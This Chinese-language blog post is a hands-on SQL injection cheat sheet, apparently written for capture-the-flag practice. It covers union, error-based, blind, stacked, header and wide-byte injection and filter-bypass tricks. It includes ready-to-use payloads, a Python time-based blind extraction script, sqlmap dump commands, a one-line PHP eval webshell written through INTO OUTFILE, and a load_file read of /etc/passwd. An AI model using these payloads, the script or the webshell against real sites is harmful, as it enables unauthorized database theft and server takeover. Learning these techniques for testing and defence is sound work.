SQL手工注入基本步骤

注入姿势

步骤

1.寻找注入点(和数据库有交互的地方)与数据传输的类型

登录,注册,搜索框

2.判断闭合方式

先判断是数字型还是字符型

?id=1a:数字型:报错 字符型:正常

再判断闭合方式(字符型)

?id=1a (先加单引号,再加双引号,直到报错)

注意:‘’“”(){}都是成双成对

验证输入内容数据库能否执行(加单引号让SQL语句发生错误,破坏SQL语句的完整性,没有达到SQL语句语法规则,从而判断可实现sql注入)

1
2
3
4
5
?id=1' and 1=1 #页面返回正常
?id=1' and 1=2 #页面返回异常

?id=1' or 1=2 #页面返回正常
?id=1' or 1=1 #页面返回异常

如果发现一开始页面先是正常然后是异常的话,说明页面存在注入。当然这里是最基本的判断方法,到后面盲注的时候是用延时函数来观察页面的返回时间的

先按报错法找到可能的闭合方式,在加注释看哪个闭合方式可以正常访问

3.查询字段数目

1
?id=1' order by 3 #

默认按照升序对记录进行排序,可用desc关键字按照降序对记录进行排序

order by后面的列数大于实际的列数就会报错

联合查询注入

注意:UNION 操作符用于合并两个或多个 SELECT 语句的结果

判断回显(假设3列)

1
?id=-1' union select 1,2,3 #

触发错误的方式:-1’1’ and 1=21’ or 1=1

爆破数据(假设回显位为2)

数据库名

1
?id=-1' union select 1,database(),3 #

查表名

1
?id=-1' union select 1, group_concat(table_name) ,3 from information_schema.tables where table_schema=database() #

查列名

1
?id=-1' union select 1, group_concat(column_name) ,3 from information_schema.columns where table_name='表名' #

具体数据

1
?id=-1 union select 1,group_concat(列名1,列名2) ,3 from 表名 #

一些默认数据库有关知识

table_schema:数据库名

table_name:表名

column_name:列名

information_schema.tables:数据库的表名

information_schema.columns:数据库的列名

limit m,n

m:是指记录开始的位置,从0开始,表示第一条记录

n:是指取n条记录

limit 0,1 表示从第一条记录开始,表示取第一条记录

一些常见函数

1.concat:将多个字符串连成一个字符串

concat(str1,str2)

返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null

2.concat_wsconcat特殊形式,多了个分隔符

concat_ws(separator,str1,str2,…)

在处理 NULL值时不会返回 NULL

3.group_concat()将多行结果连接为一行字符串
4.substr:用来截取数据库某个字段中的一部分

substr(string,start,length)

例如,获取 column_name 列的前 10 个字符

1
>select substr(列名, 1, 10) from 表名 
5.ascii:返回字符串str最左边的数值

ascii(str)

报错注入

通过特殊函数错误使用并使其输出错误结果来获取信息

报错注入为啥会回显?

因为有字符(如~)不满足xml的格式导致报错

在遇有报错回显但没数据回显时可利用

报错注入函数

floor():向下取整
1
?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) #    //获取数据库名
extractvalue():对XML文档进行查询的函数,当参数格式不正确而产生的错误,会返回参数的信息

语法:extractvalue(XML_document,XPath_string);

payload:

1
and (extractvalue(1,concat(0x7e,select database()),0x7e))

注:其一次只能查询32位长度

updatexml():更新XML文档的函数,原理和extractvalue一样

语法:updatexml(XML_document,XPath_string,new_value);

payload:

1
updatexml(1,concat(0x7e,(select database()),0x7e),1)
exp():以e为底的指数函数

1.爆数据库名

1
and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),1,31)),1)

2,爆表名

1
and updatexml(1, concat(0x7e, mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31)),1) #

3.爆列名

1
and updatexml(1, concat(0x7e, mid((select group_concat(column_name) from information_schema.columns where table_name='表名'),1,31)),1) #

4.爆值

1
and updatexml(1, concat(0x7e, mid((select group_concat(列1,0x3a,列2) from 表名),1,31)),1) #

盲注

看不到返回数据情况下通过差异(包括运行时间的差异和页面返回结果的差异)来判断

布尔盲注

在页面中,正确执行和错误执行SQL语句返回页面不一样,基于两种页面,来判断SQL语句正确与否,达到获取数据的目的

几个盲注函数

length():返回字符串的长度
limit(a,b):从第(a+1)行开始,取数量为b行的数据
substr():截取字符串
ascii():返回字符的ascii码,其同名函数ord用于过滤ascii的过滤
left(a,b):从左侧截取a的前b位
  1. 判断数据库的长度:

    1
    id=1 and (length(database())>3)
  2. 判断数据库的具体名称:

    1
    id=1 and (ascii(substr(database(),x,1))>110)
  3. 判断表的个数:

    1
    2
    id=1 and length((select table_name from information_schema.tables where table_schema=database() limit x,1))>0
    //上例若x=0则用来判断是否存在表
  4. 判断表的长度:

    1
    2
    id=1 and length((select table_name from information_schema.tables where table_schema=database() limit x,1))=4
    //上例用来判断第(x+1)个表长度是否为4
  5. 判断表名:

    1
    2
    id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))=110
    //上例用来判断第(x+1)个表的第y个字符ascii码是否为110
  6. 判断列的个数:

    1
    2
    id=1 and (select count(column_name) from information_schema.columns where table_name="flag")=1
    //上例用来判断flag表的列数
  7. 判断列的长度:

    1
    id=1 and ascii(substr((select column_name from information_schema.columns where table_name = "flag"), 4,1))
  8. 判断列名:

    1
    id=1 and ascii(substr((select column_name from information_schema.columns where table_name = "flag"), 1,1))=102
  9. 查值(虚拟机中):

    1
    sqlmap -r 1.txt --technique B -D web -T flag -C value --dump --level 3 --risk 3

时间盲注

通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态

sleep():将程序挂起n秒后响应

if(expr1,expr2,expr3):如果expr1是true,则if()的返回值为expr2,否则返回值则为expr3

  1. 判断注入点:

    1
    and sleep(5) #
  2. 判断数据库的长度:

    1
    id=1 and if(length(database())=4,sleep(3),1)
  3. 判断数据库的具体名称:

    1
    id=1 and if(ascii(substr(database(),x,1))>110,sleep(3),1)
  4. 判断表的个数:

    1
    id=1 and if((select count(table_name) from information_schema.tables where table_schema=database())=x,sleep(3),1)  //这里的x从1开始判断数据库中存在的表的数量
  5. 判断表名:

    1
    id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))=110,sleep(3),1)
  6. 判断列的个数:

    1
    id=1 and if((select count(column_name) from information_schema.columns  where table_name='flag')=x,sleep(3),1)  //这里的x从1开始判断flag表中存在的字段数量
  7. 判断列名:

    1
    id=1 and if(ascii(substr((select column_name from information_schema.columns  where table_name='flag'),x,1))=xxx,sleep(3),1)//这里的x是从1开始判断字段的位置,xxx对应了具体的ascii值
  8. 查值(虚拟机中):

    1
    sqlmap -r 1.txt --technique T -D web -T flag -C value --dump --level 3 --risk 3

时间盲注脚本(post型)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
>import requests
import string
import time

#配置目标 URL 和基础信息

url = "........"
username_template = "' or if((select substr(value,{index},1) from flag)='{char}',sleep(3),0)#"
#填写payload
password = "0"

#用于测试的字符集(可以根据实际情况扩展)

charset = string.ascii_letters + string.digits + "{}_-"

def time_blind_injection():
extracted_value = ""
index = 1 # 从第1个字符开始

while True:
found = False
for char in charset:
payload = username_template.format(index=index, char=char)
start_time = time.time()

# 发送 POST 请求
response = requests.post(url, data={"username": payload, "password": password})
elapsed_time = time.time() - start_time

# 判断响应时间是否超过3秒
if elapsed_time > 3:
extracted_value += char
print(f"[+] Found character at position {index}: {char}")
found = True
break

if not found: # 如果在当前索引没有找到字符,说明到达字符串末尾
print("[+] Extraction complete!")
break

index += 1

return extracted_value

if __name__ == "__main__":
print("[*] Starting time-based blind SQL injection...")
result = time_blind_injection()
print(f"[+] Extracted value: {result}")

盲注更提倡用sqlmap自动化

堆叠查询注入

堆叠查询可以执行多条语句,多条语句间以分号隔开

例如php中的**mysql_multi_query(),pymysql中的cursor.execute()**支持多条sql语句同时执行

查数据库:

1
0';show databases;#

查表:

1
0';show tables;#

查列:

1
2
3
0';show columns from 表名;#

0';desc 列名;#

查数据(使用预处理语句):

1
2
//select被绕过时,使用concat函数将select进行连接过滤
0';sEt@a=concat("sel","ect 列名 from 表名");PRepare hello from @a;execute hello;#

更新注入

更新类的操作的返回结果都是布尔型,无法返回数据

1
insert into user(username,password,role) values('admin' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '', 'passwd', 'editor')
1
update user set password = 'ikun666' where id = 9 or extractvalue(1, concat(0x7e, version(), 0x7e));

二次注入

二次注入就是由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的sql语句导致被执行

利用条件:知道数据库中的列名且使用了magic_quote_gpc等对引号过滤

例如存在注册和登录两个点击框,在注册的时候添加一些特殊字符,创建成功后,登录进行修改密码,发现报错语句,这里就可以判定是存在二次注入的,在注册的时候写入,然后再修改密码的地方修改密码后触发,这样就导致错误的输出,这里有错误的回显就可以使用报错注入来进行注入

HTTP头注入

HTTP头部注入是通过HTTP协议头部字段值进行注入,常存在于refererX-Forwarded-ForCookieX-Real-IPAccept-LanguageAuthorizationUser-Agent

User-Agent注入

判断注入点:user-agent值后面加上',引发报错,确定存在sql注入

采用报错注入函数获取当前数据库名

1
' and updatexml(1,concat(0x7e,(database()),0x7e),0) and '

cookie注入

采用联合注入或报错注入

1
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='数据库名'

剩下的就是需要查询表中的字段和字段的详细信息,和普通SQL注入同理

Referer注入

XFF注入

宽字节注入

利用条件:数据库使用了GBK编码,使用magic_quotes_gpc对引号过滤

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符’',来做一定的过滤

\的编码是%5c,输入%df',经过过滤处理后会变成%df\'也就是%df%5c,GBK编码中文字符’運’

原理:汉字url编码2位,利用汉字的一半编码与/组合过滤

接着与正常注入步骤一样

1
?id=-1%df%27 union select 1,2,database()%23

但后续查表会出现单引号(但其会被转义),用嵌套查询

1
?id=20%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database())%23
1
?id=20%df%27 union select 1,2,column_name from information_schema.columns where table_schema = (select database()) and table_name = (select table_name from information_schema.tables where table_schema = (select database())limit 0, 1)limit 0,1 %23

二次编码注入

利用条件:目标站点使用了urldecode()解码

%的url编码为:%25
'的url编码为:%27
%25%27,URL解码后是%27 也就是'

MySQL写入webshell

拿下数据库后如果有权限的话可以读取文件或者写入webshell

利用前提

1.secure_file_priv为空

1
show global variables like '%secure%'

secure_file_priv = 任意路径读写
secure_file_priv = path 只能在该指定路径下读写
secure_file_priv = null 不能读写

2.具有写入文件权限

3.知道网站绝对路径

写入文件

使用into outfile()将一句话写入网站目录

1
select '<?php eval($_POST[cmd];?)>' into outfile '\/var\/www\/html\/shell.php';

读取文件

使用load_file()函数读取文件

1
?id=-1 union select 1,2,load_file('//etc//passwd')

绕过方式

注释符

1
'#', '--+', '-- -', '%23', '%00', '/**/'

#一般在post传参,%23一般在get传参

and,or 过滤

1
2
3
4
5
# 可以使用"&&"和"||"代替
?id=1 && 1=1 --+

# 盲注,异或运算相同为0,不同为1;根据返回值01判断
?id=1 union select (substr(database(),1,1)='s') ^ 0 --

关键词绕过

大小写绕过

1
id=-1' UnIoN SeLeCT xxx

双写绕过

1
id=-1'UNIunionONSeLselectECT1,2,3–-

编码绕过

可以使用URL,hex,ASCII等编码绕过

例如’or 1=1可用27%20%4F%52%201%3D%31%20%2D%2D

注释绕过

内联注释/**/将关键词分隔开

1
UN/**/ION SE/**/LECT

空格绕过

内联注释代替空格

1
id=1/**/and/**/1=1

括号嵌套

1
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());

制表符、换行、不可见空格

1
%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)%0c(换页符),%20(空格)

反引号

1
union(select`table_name`,`table_type`from`information_schema`.`tables`);

=被过滤

可以用like(其子句中用%来表示任意字符)或rlike,也可以用regexp(不区分大小写,若需要大小写敏感,加binary)来绕过

比如=‘admin’ 就可以like ‘admin’

逗号过滤

逗号被过滤时可以使用from...for...

1
select substr(select database() from 1 for 1);

limit中的逗号可以替换成offset

1
select * from users limit 1 offset 2;

limit 1,2 是从第一行往后取2行(包括第一行和第二行)

limit 1 offset 2是从第一行开始只取第二行

False注入

1
select * from users where username = 0;        # 查询表中所有数据

其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据

绕过引号构造0的方法

1
2
3
4
5
select * from users where username = ''+'';
select * from users where username = ''-'';
select * from users where username = ''*'';
select * from users where username = ''%1#';
select * from users where username = ''/6#';

等价函数

if()与 case…when…then…else…end

1
2
3
0' or if((ascii(substr((select database()),1,1))>97),1,0)#
=
0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#

sleep()与benchmark()

benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断

1
?id=1 AND BENCHMARK(5000000, MD5('test'))

concat_ws()与group_concat()

1
2
3
select group_concat(database());
=
select concat_ws(1,database());

substr()与substring()/ipad()/rpad()/left()/mid()

参考:

SQL注入利用及绕过


猫猫🐱



© 2025 子非鲲 使用 Stellar 创建
共发表 44 篇 Blog · 总计 109.6k 字